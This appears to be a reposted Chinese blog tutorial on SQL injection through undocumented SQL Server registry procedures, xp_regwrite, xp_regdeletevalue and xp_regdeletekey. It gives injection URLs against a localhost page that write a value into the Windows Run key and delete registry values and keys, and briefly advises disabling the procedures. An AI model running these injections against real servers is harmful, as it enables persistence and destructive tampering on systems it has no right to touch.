• SQL Server中未公布的扩展存储过程注入


     SQL Server中未公布的扩展存储过程注入
    很多人也许并不了解,在SQL Server中包含了几个可以访问系统注册表的扩展存储过程。但实际上这几个扩展存储过程都是未公开的,从SQL Server 7.0就有了,在SQL server 2000中仍然保留,他们以后可能会删除.但是这几个存储过程却提供了在当前的SQL Server版本中访问系统注册表的能力,

    而且很多人利用SQL Server来进行攻击系统时,往往都会用到这几个扩展存储过程.所以最好在SQL Server中禁用他们。

    假如http://127.0.0.1/view.asp?id=165存在SQL Server的sql注入,我们可以用xp_regwrite写入注册表。

    使用方法:


    xp_regwrite 根键,子键, 值名, 值类型, 值
    http://127.0.0.1/view.asp?id=165; exec
    master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','
    SOFTWARE/Microsoft/Windows/CurrentVersion/run','
    TestValueName','reg_sz','hello'


    注释:值类型有两种REG_SZ 表示字符型,REG_DWORD 表示整型(用xp_regdeletevalue删除某个值)。

    使用方法:


    xp_regdeletevalue 根键,子键,值名
    http://127.0.0.1/view.asp?id=165; exec master.
    xp_regdeletevalue 'HKEY_LOCAL_MACHINE','
    SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName'

    xp_regdeletekey 删除键,包括该键下所有值


    使用方法:


    http://127.0.0.1/view.asp?id=165; exec
    master.xp_regdeletekey 'HKEY_LOCAL_MACHINE','
    SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey'

  • 相关阅读:
    HDU 1114 Piggy-Bank
    HDU 2955 Robberies
    NTOJ 290 动物统计(加强版)
    POJ 3624 Charm Bracelet
    HDU 2602 Bone Collector
    POJ 1523 SPF(无向图割顶)
    HDU 5311 Hidden String
    HDU 1421 搬寝室
    HDU 1058 Humble Numbers
    POJ 3259 Wormholes(spfa判负环)
  • 原文地址:https://www.cnblogs.com/huyong/p/2685701.html
Copyright © 2020-2023  润新知